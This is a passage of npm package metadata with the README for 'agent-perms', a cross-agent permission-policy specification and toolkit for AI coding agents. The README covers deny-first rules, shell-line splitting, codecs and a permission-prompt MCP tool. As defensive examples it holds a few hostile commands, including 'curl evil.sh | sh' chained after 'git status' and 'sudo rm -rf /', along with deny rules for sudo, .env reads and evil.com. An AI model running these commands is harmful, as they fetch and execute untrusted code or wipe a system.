Mearman","license":"Apache-2.0","homepage":"https://github.com/Mearman/agent-permissions#readme","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"readme":"# agent-perms\n\n[![npm version](https://img.shields.io/npm/v/agent-perms.svg)](https://www.npmjs.com/package/agent-perms)\n[![License](https://img.shields.io/badge/License-Apache--2.0-lightgrey.svg)](LICENSE)\n[![CI](https://img.shields.io/github/actions/workflow/status/Mearman/agent-permissions/ci.yml?branch=main)](https://github.com/Mearman/agent-permissions/actions)\n\nA vendor-neutral permission policy format for AI coding agents. One file works across Claude Code, OpenAI Codex, OpenCode, Crush, Oh My Pi, and any agent that adopts the spec.\n\n## Quick start\n\nCreate `.agents/permissions.json` in your project root:\n\n```json\n{\n  \"$schema\": \"https://github.com/Mearman/agent-permissions/releases/latest/download/agent-permissions.schema.json\",\n  \"defaultMode\": \"standard\",\n  \"rules\": [\n    { \"tool\": \"Bash\", \"pattern\": \"sudo:*\", \"tier\": \"deny\" },\n    { \"tool\": \"Read\", \"pattern\": \"./.env\", \"tier\": \"deny\" },\n    { \"tool\": \"Bash\", \"pattern\": \"npm publish:*\", \"tier\": \"deny\" },\n    { \"tool\": \"Bash\", \"pattern\": \"git status\", \"tier\": \"allow\" },\n    { \"tool\": \"Bash\", \"pattern\": \"git:*\", \"tier\": \"allow\" },\n    { \"tool\": \"Read\", \"tier\": \"allow\" },\n    { \"tool\": \"Grep\", \"tier\": \"allow\" },\n    { \"tool\": \"Bash\", \"pattern\": \"git push:*\", \"tier\": \"ask\" },\n    {\n      \"tool\": \"Bash\",\n      \"pattern\": \"npm run *\",\n      \"tier\": \"allow\",\n      \"when\": { \"cwd\": \"./packages/*\" }\n    }\n  ]\n}\n```\n\nEvery rule has a `tool`, an optional `pattern`, a `tier` (deny/ask/allow), and optional `when` conditions. Evaluation is deny-first: all deny rules are checked, then ask, then allow. Falls back to `defaultMode` when no rule matches.\n\n**Zero-translation migration:** `jq '.permissions' .claude/settings.json > .agents/permissions.json` still works. The schema accepts Claude Code's `permissions.allow/deny/ask` arrays and the loader normalises them into rules.\n\n## Why\n\nEvery coding agent has its own permission config. Teams using multiple agents (or migrating between them) maintain separate, often contradictory permission files. This spec provides:\n\n- **One policy, many agents**: write once, convert to any agent's native format\n- **Zero-translation migration**: Claude Code's `permissions` block is valid input\n- **Superset coverage**: expresses features from all supported agents (sandboxing, named profiles, per-agent overrides, conditional rules)\n- **IDE support**: JSON Schema for autocomplete and validation ([on SchemaStore](https://schemastore.org))\n\n## File location\n\n| File                             | Purpose            | Git        |\n| -------------------------------- | ------------------ | ---------- |\n| `.agents/permissions.json`       | Team-shared policy | Committed  |\n| `.agents/permissions.local.json` | Personal overrides | Gitignored |\n\nBoth files are merged at load time. Deny rules from any source short-circuit before allow rules.\n\n## Installation\n\n### As an MCP server\n\n#### CLI shorthand\n\nSome agent harnesses provide a one-command install:\n\n**Claude Code (MCP):**\n\n```bash\nclaude mcp add agent-perms -- npx -y agent-perms mcp\n```\n\n**Claude Code (plugin marketplace):**\n\n```\n/plugin marketplace add https://github.com/Mearman/agent-permissions.git\n/plugin install agent-perms@agent-perms\n```\n\n**OpenAI Codex:**\n\n```bash\ncodex mcp add agent-perms -- npx -y agent-perms mcp\n```\n\n#### Manual configuration\n\nFor harnesses that use config files, add the following to the `mcpServers` section:\n\n```json\n{\n  \"agent-perms\": {\n    \"command\": \"npx\",\n    \"args\": [\"-y\", \"agent-perms\", \"mcp\"]\n  }\n}\n```\n\n| Harness     | Config file                                     | Config key                  |\n| ----------- | ----------------------------------------------- | --------------------------- |\n| Claude Code | `.mcp.json` (project) / `~/.claude.json` (user) | `mcpServers`                |\n| Codex       | `~/.codex/config.toml`                          | `[mcp_servers.agent-perms]` |\n| Gemini CLI  | `~/.gemini/settings.json`                       | `mcpServers`                |\n| Crush       | `.crush.json` / `~/.config/crush/crush.json`    | `mcp`                       |\n| Cline       | `.cline/mcp.json`                               | `mcpServers`                |\n| Cursor      | `.cursor/mcp.json`                              | `mcpServers`                |\n\nThe MCP server is a background sync daemon. It reads config from `.agents/permissions.json` and keeps native agent config files in sync. By default it exposes no tools; with `--permission-prompt` it also exposes a tool that answers permission prompts from the policy (see [Permission-prompt tool](#permission-prompt-tool)).\n\n### As a library\n\n```bash\npnpm add agent-perms\n```\n\n## Exports\n\nThe package uses [wildcard exports](https://nodejs.org/api/packages.html#subpath-patterns): import only what you need.\n\n### Programmatic API (`agent-perms/api`)\n\nSide-effect-free functions for use as a library:\n\n```typescript\nimport {\n  convert,\n  validate,\n  check,\n  replay,\n  suggest,\n  detectFormat,\n} from \"agent-perms/api\";\n\n// Convert between formats (auto-detects source)\nconst result = convert(undefined, \"canonical\", claudeCodeJson);\nresult.output; // canonical object\nresult.from; // \"claude-code\" (detected)\nresult.ruleCount; // 3\n\n// Validate a policy\nconst { valid, errors } = validate(json);\n\n// Evaluate a tool call\nconst { decision } = check(\"Bash\", \"sudo rm -rf /\", policy, { branch: \"main\" });\n// decision: \"allow\" | \"deny\" | \"ask\"\n\n// Replay a policy over a session transcript (JSON Lines text)\nconst { counts, differing } = replay(policy, transcriptText);\n// counts: { allow, ask, deny }; differing: calls the transcript recorded differently\n\n// Propose allow rules for calls approved at least twice\nconst suggestions = suggest(transcriptText, { minCount: 2, policy });\n// [{ rule: { tool: \"Bash\", pattern: \"npm run:*\", tier: \"allow\" }, count: 3 }]\n\n// Detect format from structure\nconst format = detectFormat(json); // \"claude-code\" | \"crush\" | \"kiro\" | ...\n```\n\n### Other modules\n\n```typescript\n// Zod schemas (single source of truth)\nimport { AgentPermissionPolicy } from \"agent-perms/schema\";\n\n// Deny-first evaluator\nimport { evaluate } from \"agent-perms/evaluate\";\n\n// Transcript parsing, replay and rule suggestion over plain evaluator policies\nimport { parseTranscript, replayCalls, suggestRules } from \"agent-perms/replay\";\n\n// Multi-layer policy loader\nimport { loadPolicy } from \"agent-perms/loader\";\n\n// Bidirectional codecs for each agent\nimport { claudeCodeCodec } from \"agent-perms/compat/codecs\";\n\n// SDK enum alignment checks\nimport { claudeCodeModes } from \"agent-perms/compat/enums\";\n\n// Sync filesystem configs\nimport { sync } from \"agent-perms/sync\";\n\n// Generate a policy confining the file tools to directories\nimport { confine } from \"agent-perms/confine\";\n\n// Answer a host's permission prompts from the policy\nimport { createPermissionPrompt } from \"agent-perms/prompt-tool\";\n```\n\n## Schema overview\n\n```typescript\nimport { type AgentPermissionPolicy } from \"agent-perms/schema\";\n\n// All fields are optional. A valid policy can be as minimal as `{}`.\ninterface AgentPermissionPolicy {\n  $schema?: string;\n\n  // Default mode: standard | autonomous | restricted | readonly\n  // Also accepts Claude Code modes: plan | dontAsk | acceptEdits | bypassPermissions\n  defaultMode?: PermissionMode;\n\n  activeProfile?: string;\n\n  // Permission rules (deny-first evaluation)\n  rules?: Array<{\n    tool: string; // e.g. \"Bash\", \"Read\", \"mcp__github__*\"\n    pattern?: string; // absent = match any input for this tool\n    tier: \"allow\" | \"deny\" | \"ask\";\n    when?: { cwd?: string; branch?: string }; // AND logic\n  }>;\n\n  // Claude Code compat: string rule arrays (normalised to rules on load)\n  permissions?: {\n    allow?: string[];\n    deny?: string[];\n    ask?: string[];\n    additionalDirectories?: string[];\n    defaultMode?: PermissionMode;\n  };\n\n  profiles?: Record<string, PermissionTiers>;\n\n  delegation?: {\n    maxDepth?: number;\n    nonDelegable?: string[];\n    bubbleUp?: boolean;\n    agents?: Record<string, PermissionTiers>;\n  };\n\n  sandbox?: {\n    mode?: \"readonly\" | \"workspace-write\" | \"full-access\";\n    writableRoots?: string[];\n    networkAccess?: boolean;\n  };\n\n  network?: {\n    enabled?: boolean;\n    domains?: Record<string, \"allow\" | \"deny\">;\n  };\n\n  env?: Record<string, string>;\n}\n```\n\n## Rule syntax\n\nRules use `Tool(pattern)` strings inside `permissions` arrays, compatible with Claude Code's permission format. In the unified `rules` array, the tool and pattern are separate fields:\n\n| Rule object                                    | `permissions` string    | Type       | Matches                            |\n| ---------------------------------------------- | ----------------------- | ---------- | ---------------------------------- |\n| `{ tool: \"Read\" }`                             | `Read`                  | Bare       | All invocations of `Read`          |\n| `{ tool: \"Bash\", pattern: \"git status\" }`      | `Bash(git status)`      | Exact      | Exactly `git status`               |\n| `{ tool: \"Bash\", pattern: \"npm:*\" }`           | `Bash(npm:*)`           | Prefix     | `npm` + space + anything           |\n| `{ tool: \"Bash\", pattern: \"git commit *\" }`    | `Bash(git commit *)`    | Wildcard   | `git commit` + anything            |\n| `{ tool: \"Bash\", pattern: \"domain:evil.com\" }` | `Bash(domain:evil.com)` | Domain     | Commands containing `evil.com`     |\n| `{ tool: \"mcp__github\" }`                      | `mcp__github`           | MCP server | All tools from `github` MCP server |\n\n### Evaluation order\n\n```\ndeny rules → ask rules → allow rules → defaultMode\n```\n\nDeny short-circuits: if any deny rule matches, the tool is blocked regardless of allow rules from any source.\n\n### Actors, roles and approvers\n\nFor hosts that know who is acting, a rule can depend on the actor and the roles they hold. The policy never says who holds a role; the host does, and passes `actor` and `roles` with each call.\n\n```json\n{\n  \"roles\": {\n    \"maintainer\": { \"allow\": [\"Bash(git push:*)\"] },\n    \"contractor\": { \"deny\": [\"Bash(git push:*)\"] }\n  },\n  \"rules\": [\n    {\n      \"tool\": \"Bash\",\n      \"pattern\": \"npm publish:*\",\n      \"tier\": \"ask\",\n      \"approvers\": {\n        \"roles\": [\"maintainer\"],\n        \"actors\": [\"ada\"],\n        \"timeoutSeconds\": 300\n      }\n    },\n    {\n      \"tool\": \"Bash\",\n      \"pattern\": \"deploy:*\",\n      \"tier\": \"deny\",\n      \"when\": { \"actor\": \"contractor-*\" }\n    }\n  ]\n}\n```\n\nA role's rules apply as if each carried `when: { role }`. `when.actor` and `when.role` are globs, and a call whose actor or roles the host did not report is unknown, not anonymous: an unknown condition never lets an allow apply and still lets a deny or ask apply. An empty role list is known, and means the actor holds nothing.\n\n`approvers` on an ask rule says who may resolve the request; `explain` reports it on the step, without the requester. Holding a permission does not make an actor an approver: only being named does. An unresolved request expires as a deny, after `timeoutSeconds` if given. The pending-request store and any approval interface belong to the host.\n\nNo agent format can limit a rule to an actor or a role, so a codec never writes one as unconditional: an allow limited that way is left out, which is stricter, and a deny or ask limited that way, or an ask that names `approvers`, makes the conversion fail with an `UnsupportedCapabilityError` listing the rule.\n\n### Hidden tools\n\nA deny rule with `hidden: true` refuses the call exactly as a plain deny does, and also marks the tool as one to leave out of the agent's tool list. `explain` and `check` report `hidden`, and a host that builds a tool list asks which tools to show:\n\n```typescript\nimport { visibleTools } from \"agent-perms/evaluate\";\n\nvisibleTools(policy, [\"Bash\", \"WebFetch\", \"Read\"]); // leaves out any tool a hidden rule names\n```\n\nOnly a rule that names the tool with no `pattern` hides the tool. A rule with a pattern refuses the matching inputs and leaves the tool listed. A `when` condition that holds, or is unknown, hides the tool. `hidden` is valid only on a deny rule. No agent format can hide a tool from itself, so every codec writes a hidden rule as the plain deny it refuses as.\n\n### Delegation limits\n\n`delegation.maxDepth` and `delegation.nonDelegable` are enforced for a call that carries a `depth`: the number of agents between it and the top-level agent, 0 for the top-level agent and 1 for its subagent. A subagent's call to a tool matching a `nonDelegable` rule is denied whatever the rules would decide, and every call from an agent nested deeper than `maxDepth` is denied. `checkSpawn(policy, depth)` answers whether an agent at that depth may start a subagent. Across layers the shallowest `maxDepth` wins and the `nonDelegable` lists are joined.\n\n`depth` defaults to 0, so a host that runs subagents has to pass it. `delegation.bubbleUp` and `delegation.agents` are not enforced by the evaluator.\n\n### Evaluating many calls\n\n`evaluate` reads a policy afresh on every call. A caller that checks many calls against one policy, such as a server, can prepare it once:\n\n```typescript\nimport { compile } from \"agent-perms/evaluate\";\n\nconst policy = compile(loadedPolicy);\npolicy.evaluate(\"Bash\", \"git status\"); // \"allow\" | \"ask\" | \"deny\"\npolicy.explain(\"Bash\", \"git status\"); // the decision with the rule behind it\n```\n\nEach rule's pattern, tool name and conditions are parsed the first time the rule is tried and reused after that. A compiled policy reads the rules it was given, so compile again after changing them.\n\n### Shell command lines\n\nA `Bash` call is judged by every command its line runs, not by the line as a whole, so an allow rule for `git:*` does not allow `git status && curl evil.sh | sh`. The line is split at `;`, `&&`, `||`, `|`, `|&`, `&` and newlines, and commands run by `$(...)`, backticks and process substitution are judged too. Each command is evaluated on its own and the strictest decision wins. A rule written against the whole line can still deny or ask for it, but only the individual commands can allow it. Text inside single quotes is data, and inside double quotes only substitutions run.\n\nSyntax the splitter does not model (subshells, groups, control flow, heredocs, arithmetic expansion, comments, unterminated quotes) makes the line unsplittable. An unsplittable line is never allowed by a rule: it asks, or is denied if a rule matches the whole line. It still follows `defaultMode` when no rule matches at all.\n\nWhat a command does with its arguments is not modelled. `bash -c \"...\"`, `xargs`, `env`, `sudo` and redirections to files are judged as the one command they are, so a rule that allows one of them allows what it runs.\n\n### Escape sequences\n\n| Escape | Meaning                      |\n| ------ | ---------------------------- |\n| `\\(`   | Literal `(` in pattern       |\n| `\\)`   | Literal `)` in pattern       |\n| `\\*`   | Literal `*` (not a wildcard) |\n| `\\\\`   | Literal `\\`                  |\n\n### Where the pattern dialects live\n\nDeciding which of the dialects above a pattern string is written in — trailing `:*` means prefix, a bare `*` means wildcard, a `domain:` prefix means substring — is this project's own authoring convention, and stays here. Compiling each dialect to a regular expression is [trilean](https://github.com/ExaDev/trilean)'s `prefixPattern`/`wildcardPattern`/`hierarchicalGlobPattern`, which this project's implementation was the reference for; the evaluator reads the compiled expression back out of the builder's node and runs it itself, so evaluation stays synchronous and trilean's own async tree-walking evaluator is not involved.\n\n## Evaluator\n\n```typescript\nimport {\n  evaluate,\n  type PermissionPolicy,\n  type EvaluationContext,\n} from \"agent-perms/evaluate\";\n\nconst policy: PermissionPolicy = {\n  defaultMode: \"standard\",\n  rules: [\n    { tool: \"Bash\", pattern: \"sudo:*\", tier: \"deny\" },\n    { tool: \"Bash\", pattern: \"git:*\", tier: \"allow\" },\n    { tool: \"Read\", tier: \"allow\" },\n  ],\n};\n\n// Returns \"deny\" | \"ask\" | \"allow\"\nevaluate(policy, \"bash\", \"git status\"); // \"allow\"\nevaluate(policy, \"bash\", \"sudo rm -rf /\"); // \"deny\"\nevaluate(policy, \"bash\", \"npm install\"); // \"ask\" (falls through to defaultMode)\n\n// With context for conditional rules\nconst ctx: EvaluationContext = { cwd: \"./packages/api\", branch: \"main\" };\nevaluate(policy, \"bash\", \"npm run build\", ctx);\n```\n\nTool names are matched case-insensitively (`Bash` matches `bash`).\n\n### Converting string rules\n\n```typescript\nimport { normaliseStringRule } from \"agent-perms/evaluate\";\n\n// Convert Claude Code-style string rules to structured rules\nconst rule = normaliseStringRule(\"Bash(npm:*)\", \"allow\");\n// → { tool: \"Bash\", pattern: \"npm:*\", tier: \"allow\" }\n```\n\n## Policy loader\n\n```typescript\nimport { loadPolicy } from \"agent-perms/loader\";\n\nconst policy = await loadPolicy({ cwd: process.cwd() });\n```\n\nWalks up from `cwd` looking for `.agents/permissions.json` and native agent configs. The policy file itself controls discovery via `with`, `without`, and `up` fields:\n\n```json\n{\n  \"with\": [\"claude-code\", \"opencode\"],\n  \"up\": 3,\n  \"rules\": [...]\n}\n```\n\n- `with`: only load these native configs (default: canonical only)\n- `without`: load all except these\n- `up`: how many parent directories to walk (default: `\"all\"`)\n\nLoads and merges layers in order (outermost-first, last-defined-wins for `defaultMode`):\n\n1. `.agents/permissions.json` (team-shared, discovered via walk-up)\n2. `.agents/permissions.local.json` (personal overrides, discovered via walk-up)\n3. Native agent configs (`.claude/settings.json`, `opencode.json`, etc.), if `with`/`without` enables them\n\nThe loader normalises all `permissions` string arrays into structured `rules`. Deny rules from any layer short-circuit. Allow rules are additive.\n\n### Ceiling layers\n\nA layer can bound the layers after it. Set `\"ceiling\": true` in a policy file (an organisation's, say) and the allow rules of layers loaded later, meaning deeper directories and local overrides, only take effect where that file also allows. They can still add `deny` and `ask` rules, and they can only make the default mode stricter.\n\n```json\n{\n  \"ceiling\": true,\n  \"defaultMode\": \"restricted\",\n  \"rules\": [{ \"tool\": \"Bash\", \"pattern\": \"git:*\", \"tier\": \"allow\" }]\n}\n```\n\nA project under that file can allow `git status`, which the ceiling already allows, but an allow for `npm run *` is ignored. A ceiling that allows nothing bounds nothing, and a ceiling never bounds layers before it. `mergeLayerPolicies` does the same for layers you supply yourself, each with a source name that `explain` reports.\n\n## Agent compatibility\n\nBidirectional codecs convert between the canonical format and each agent's native config:\n\n```typescript\nimport {\n  claudeCodeCodec,\n  codexCodec,\n  encodeCodex,\n} from \"agent-perms/compat/codecs\";\n\n// Decode agent-native → canonical\nconst policy = claudeCodeCodec.decode(claudeSettings.permissions);\n\n// Encode canonical → agent-native\nconst codexConfig = codexCodec.encode(canonicalPolicy);\n\n// Codex config plus the execpolicy rules file for command rules\nconst { config, rules } = encodeCodex(canonicalPolicy);\n```\n\n| Agent           | Native format                                           | Codec             | Fidelity          |\n| --------------- | ------------------------------------------------------- | ----------------- | ----------------- |\n| **Claude Code** | `Tool(pattern)` rule strings in `.claude/settings.json` | `claudeCodeCodec` | Exact⁵            |\n| **OpenCode**    | Per-tool `ask/allow/deny` objects in `config.json`      | `opencodeCodec`   | Exact or refused¹ |\n| **Codex**       | Named profiles + sandbox in TOML config                 | `codexCodec`      | Exact or refused² |\n| **Crush**       | Tool allowlist in `config.json`                         | `crushCodec`      | Allow only³       |\n| **Oh My Pi**    | Ordered `bash.patterns` in `config.yml`                 | `ompCodec`        | Exact or refused⁴ |\n\n¹ OpenCode's agent-specific tools have no canonical equivalent. Per-agent markdown overrides must be handled by the caller. A `deny` or `ask` for a tool OpenCode has no setting for makes the encode fail with an `UnsupportedCapabilityError`, and two rules on one pattern are written as the stricter.\n\n² Codex's `on-failure` approval policy and granular approval config have no canonical equivalent. TOML serialisation is the caller's responsibility; the codec works on parsed JS objects.\n\nEncoding never weakens a restrictive rule. Codex can enforce a `deny` on a path (read-only or no access) and a `deny` on a network domain, plus a `deny` on writes when the policy has a read-only sandbox. Any other `deny` or `ask` rule, and any `deny` or `ask` rule carrying a `when` condition, makes the encode throw `UnsupportedCapabilityError`, which lists every refused rule and why. An `allow` rule with no Codex equivalent is left out, which can only make the result stricter. Restrictions from the top-level rules are carried into every named profile.\n\nA path deny becomes a Codex filesystem entry: `deny` for `Read`, `read` for `Write` or `Edit`. A `./` path is written as a subpath of `:workspace_roots` (`./secrets` becomes `secrets` in that table) and an absolute path stays an absolute key. Codex applies an entry to the path and everything under it, and the workspace roots include any Codex adds beyond the working directory, so the written entry is never narrower than the rule; a trailing `/*` or `/**` is written as that same subtree. A nested entry is written at least as strict as a denied ancestor, since Codex lets the more specific entry win. Any other path pattern is refused: a wildcard anywhere but the end, a string prefix (`:*`), `~`, a bare relative path, a `.` or `..` segment, or `*`, `?`, `[` or `]` in the path, which Codex would read as glob syntax. Decoding reads an absolute key or a `:workspace_roots` subpath back as the path plus its `/**` subtree, reads Codex's legacy `none` as `deny`, and fails on a `read` or `deny` entry it cannot place (another special root, a `~` path or a glob) rather than dropping it.\n\nCodex enforces command rules through execpolicy rules files, not its config, so `codexCodec` on its own refuses a command `deny` or `ask`. `encodeCodex(policy)` returns `{ config, rules }`, where `rules` is the content of a Starlark rules file (or `undefined` when there are none) that belongs at `CODEX_EXECPOLICY_RULES_PATH` (`rules/agent-perms.rules`) beside the config, since Codex loads every `*.rules` file in the `rules` directory of each config layer (`~/.codex/rules`, a project's `.codex/rules`). A command `deny` becomes `prefix_rule(pattern = [...], decision = \"forbidden\")` and an `ask` becomes `decision = \"prompt\"`, keeping the stricter decision when both name one prefix. Only patterns a prefix rule matches exactly are written: `git push:*`, and `git push *` whose only wildcard is the trailing one, both match the words alone or followed by arguments, which is what Codex matches once it has split the command into words. An exact command (a prefix rule would widen it), a wildcard anywhere else, a word with quoting, escapes or shell syntax, an empty word, a leading variable assignment, a tool-wide `Bash` rule and a command rule in a named profile (a rules file applies to every profile) are refused. A command `allow` is left out. Codex applies prefix rules to each command of a script it can split into plain commands (joined by `&&`, `||`, `;` or `|`); a script it cannot split, such as one with a redirection or a command substitution, is matched as a whole and so is not caught by a rule on a command inside it. `agent-perms convert --to codex --output <file>` writes the rules file beside the output, and refuses to print to stdout when there is one; `sync` does not write Codex files.\n\n³ Crush has only an allowlist of tools: no deny, no ask, no patterns. A `deny` or `ask` makes the encode fail with an `UnsupportedCapabilityError`; an `allow` with a pattern is left out, which is stricter.\n\n⁴ Oh My Pi enforces `bash.patterns`: an ordered list of `match` globs (only `*` is special, whitespace is collapsed, the first matching entry wins) with approval `allow`, `prompt` or `deny`. Its `deny` and `prompt` entries also catch a matching command inside a compound line, and an `allow` entry never approves a compound line, which agrees with how a canonical policy judges a shell line. Encoding writes deny entries first, then prompt, then allow, because OMP takes the first match and a canonical policy takes the strictest. A canonical prefix rule (`git push:*`) and a trailing wildcard (`git *`) are each written twice, as the bare command and the command with arguments, since OMP's `git *` does not match `git`. `ask` becomes `prompt`. A `deny` or `ask` for any tool but Bash, one that carries a condition, one on a literal asterisk (OMP cannot write one), an actor or role limit, or an ask that names approvers makes the encode fail with an `UnsupportedCapabilityError`; an `allow` OMP cannot express is left out, which is stricter. The default mode becomes OMP's `tools.approvalMode`, which decides calls no entry covers by the tier each tool declares: `always-ask` approves reads and prompts for writes and commands, `write` prompts for commands only, and `yolo`, OMP's own default, approves everything. `standard` and `restricted` (and the modes the evaluator reads as them) are written as `always-ask`; `autonomous` writes nothing, leaving OMP's own mode in place; `readonly` is refused, since OMP has no mode that denies what no entry covers. The one gap: no OMP mode prompts for a read, so a read that `standard` or `restricted` would ask about is approved. OMP's other settings are not converted. Decoding reads `always-ask` and `write` as `standard` and `yolo` as `autonomous`, and reads the entries in order, failing on anything it cannot read faithfully (an unknown mode, a bad approval, an empty match, a match ending in `:*`) rather than skipping it. `agent-perms convert` reads and writes OMP's config as YAML, editing an existing file in place so only `bash.patterns` and `tools.approvalMode` change; `agent-perms sync` keeps a project's `.omp/config.yml`, and with `--omp-global` the global one, in step (see [sync](#sync)).\n\n⁵ Claude Code holds a rule as a `Tool(pattern)` string and nothing else, so a condition (`when`) is not written. An `allow` limited by a condition is left out, since it would otherwise apply everywhere; a `deny` or `ask` is written without it and applies everywhere, which is stricter. A canonical default mode Claude Code has no name for is written as the closest one that is not looser: `readonly` as `dontAsk`, `restricted` and `standard` as `default`. Claude Code's own `dontAsk` refuses every call no rule allows, and is read that way.\n\n### Zero-translation migration from Claude Code\n\n```bash\njq '.permissions' .claude/settings.json > .agents/permissions.json\n```\n\nThis works because the canonical spec accepts Claude Code's rule syntax, mode values, and `defaultMode` placement unchanged. The loader normalises `permissions` arrays into structured `rules`.\n\n### MCP sync server\n\n```typescript\nimport { createMcpServer, startMcpServer } from \"agent-perms/mcp\";\n```\n\nA background sync daemon that keeps native agent config files bidirectionally synced with `.agents/permissions.json`. It exposes no tools unless the permission-prompt mode is on. `startMcpServer(options)` serves on stdio from the current directory and runs the sync; `createMcpServer(root, options)` builds the server without connecting it or syncing, for a host that supplies its own transport. Sync is configured via the `sync` field in the policy file:\n\n```json\n{\n  \"sync\": {\n    \"mode\": \"watch\",\n    \"backup\": true\n  }\n}\n```\n\n- `mode: \"sync\"`: one-shot sync on startup\n- `mode: \"watch\"`: continuous sync via `fs.watch`\n- `mode: false`: disabled\n\nAlso available as the `agent-perms-mcp` binary.\n\n### Permission-prompt tool\n\n`agent-perms mcp --permission-prompt` adds one tool, `permission_prompt`, which answers Claude Code's permission prompts from the policy. Claude Code sends prompts to an MCP tool only in print mode (`claude -p`) with `--permission-prompt-tool`; an interactive session asks the person at the terminal and never calls the tool. The tool is consulted only for calls Claude Code would otherwise prompt for: a call its own settings already allow or deny never reaches it.\n\n```bash\nclaude -p \\\n  --mcp-config '{\"mcpServers\":{\"agent-perms\":{\"command\":\"npx\",\"args\":[\"-y\",\"agent-perms\",\"mcp\",\"--permission-prompt\"]}}}' \\\n  --permission-prompt-tool mcp__agent-perms__permission_prompt \\\n  \"run the tests\"\n```\n\nClaude Code calls the tool with `{ tool_name, input, tool_use_id }` and reads back one text block holding `{\"behavior\":\"allow\",\"updatedInput\":{...}}` or `{\"behavior\":\"deny\",\"message\":\"...\"}`. The tool loads the policy for the server's working directory on every prompt, so edits apply to the next call, and judges the call by one field of its input:\n\n| Tool                                 | Judged by                                                |\n| ------------------------------------ | -------------------------------------------------------- |\n| `Bash`                               | `command`, split into its commands as in `check`         |\n| `Read`, `Write`, `Edit`, `MultiEdit` | `file_path` (see below)                                  |\n| `NotebookEdit`                       | `notebook_path` (see below)                              |\n| `WebFetch`                           | `url`                                                    |\n| `WebSearch`                          | `query`                                                  |\n| Any other tool                       | its name alone, so only rules without a pattern match it |\n\nA file path is resolved against the working directory and judged in both forms a policy may write it, absolute (as `confine` writes it) and `./`-relative (as in `./.env`) when it lies inside that directory. The strictest decision any rule reaches in either form wins, and the default mode decides only when neither form matches a rule. A call missing the field its tool is judged by is denied. An `allow` decision returns the input unchanged, and a `deny` returns a message naming the rule and the file it came from. The prompt has no third answer, so an `ask` decision is denied with a message naming the rule that asked, unless an approval handler settles it (below). A prompt carries no cwd or branch, so `when` conditions are unknown: they never allow a call, and may still deny it.\n\nAs a library, `createPermissionPrompt` answers prompts directly and takes the approval handler. The handler is where a host puts its own approval flow: showing the request to a person, holding it until someone approves it elsewhere, or consulting another policy. It receives the request, the matched subject and the full explanation, plus an abort signal that fires when the agent abandons the call.\n\n```typescript\nimport { createPermissionPrompt } from \"agent-perms/prompt-tool\";\nimport { loadPolicy } from \"agent-perms/loader\";\n\nconst answer = createPermissionPrompt({\n  loadPolicy: () => loadPolicy({ cwd: root }),\n  root,\n  context: { branch: \"main\" },\n  onAsk: ({ request, subject, explanation }, signal) =>\n    approvals.waitFor(request.tool_use_id, subject, explanation, signal),\n});\n\nconst result = await answer(\n  { tool_name: \"Bash\", input: { command: \"git push\" } },\n  signal,\n);\n// { behavior: \"allow\", updatedInput: {...} } or { behavior: \"deny\", message: \"...\" }\n```\n\nTo serve the tool with a handler, pass it to the server: `createMcpServer(root, { permissionPrompt: { onAsk } })`.\n\n## CLI\n\nThe `agent-perms` binary converts, validates, confines, syncs, and serves permission configs.\n\n**All flags, no positionals.** Format names resolve to default config file locations.\nUse `-` for stdin/stdout.\n\n```\nclaude-code  →  .claude/settings.json\ncanonical    →  .agents/permissions.json\nopencode     →  opencode.json\nkiro         →  .kiro/permissions.json\ncodex        →  codex.toml\ncrush        →  .crush.json\n```\n\n### convert\n\n```bash\n# Format name → reads/writes default config locations\nagent-perms convert --from claude-code --to canonical\n\n# File paths: auto-detects format from contents\nagent-perms convert --from .claude/settings.json --to crush\n\n# Piping with -\ncat settings.json | agent-perms convert --from - --to canonical --output -\n\n# Write to specific file\nagent-perms convert --from claude-code --to canonical --output my-policy.json\n```\n\n| Flag        | Short | Aliases           | Description                                            |\n| ----------- | ----- | ----------------- | ------------------------------------------------------ |\n| `--from`    | `-f`  | `--input`, `--in` | Source (format, file, or `-` for stdin)                |\n| `--to`      | `-t`  |                   | Target format or file (required)                       |\n| `--output`  | `-o`  | `--out`           | Output file (overrides `--to` path), or `-` for stdout |\n| `--compact` | `-c`  |                   | Single-line JSON                                       |\n| `--verbose` | `-v`  |                   | Show decode/encode summary on stderr                   |\n\n### validate\n\n```bash\nagent-perms validate --input canonical\nagent-perms validate --input .agents/permissions.json\necho '...' | agent-perms validate --input -\n```\n\n| Flag      | Short | Aliases | Description                                  |\n| --------- | ----- | ------- | -------------------------------------------- |\n| `--input` | `-i`  | `--in`  | Policy file (format, file, or `-` for stdin) |\n\nExits 0 if valid, 2 with error details if not.\n\n### check\n\n```bash\nagent-perms check --tool Bash --input \"git status\" --policy-file canonical\nagent-perms check --tool Bash --input \"git status\" --policy-file .agents/permissions.json\n```\n\n| Flag                | Description                                  |\n| ------------------- | -------------------------------------------- |\n| `--tool`            | Tool name (required)                         |\n| `--input`           | Tool input string (required)                 |\n| `--policy-file`     | Policy file (format, file, or `-` for stdin) |\n| `--cwd`, `--branch` | Evaluation context                           |\n| `--explain`         | Print the rule and layer behind each step    |\n\nExits 0 with `allow` or 1 with `deny`.\n\n### replay\n\n```bash\nagent-perms replay --transcript session.jsonl --policy-file canonical\n```\n\n| Flag            | Description                                  |\n| --------------- | -------------------------------------------- |\n| `--transcript`  | Session transcript (file, or `-` for stdin)  |\n| `--policy-file` | Policy file (format, file, or `-` for stdin) |\n\nJudges every tool call in the transcript against the policy and prints how many it would allow, ask about and deny, one `decision<TAB>count` line each. It then lists the calls whose recorded outcome the policy could not have produced, as `decision<TAB>outcome<TAB>tool<TAB>input`. A call that ran is consistent with `allow` or `ask`, a call a rule denied with `deny`, and a call the user declined with `ask`; a call with no recorded result is counted but never listed. Each call is judged in the working directory and branch recorded with it, so `when` conditions apply as they did at the time.\n\n### suggest\n\n```bash\nagent-perms suggest --transcript session.jsonl --policy-file canonical > proposed.json\n```\n\n| Flag              | Description                                                      |\n| ----------------- | ---------------------------------------------------------------- |\n| `--transcript`    | Session transcript (file, or `-` for stdin)                      |\n| `--policy-file`   | Policy whose deny rules exclude calls and allow rules cover them |\n| `--min-count <n>` | Approved calls a rule must cover (default: 2)                    |\n\nPrints a canonical policy of proposed `allow` rules on stdout, and each rule with how many approved calls it covers on stderr. Only calls that ran count as approved, and a `Bash` line counts command by command. A command is never proposed when it appeared in a line a policy rule denies or that the transcript records as denied or declined, and commands the policy already allows, or a 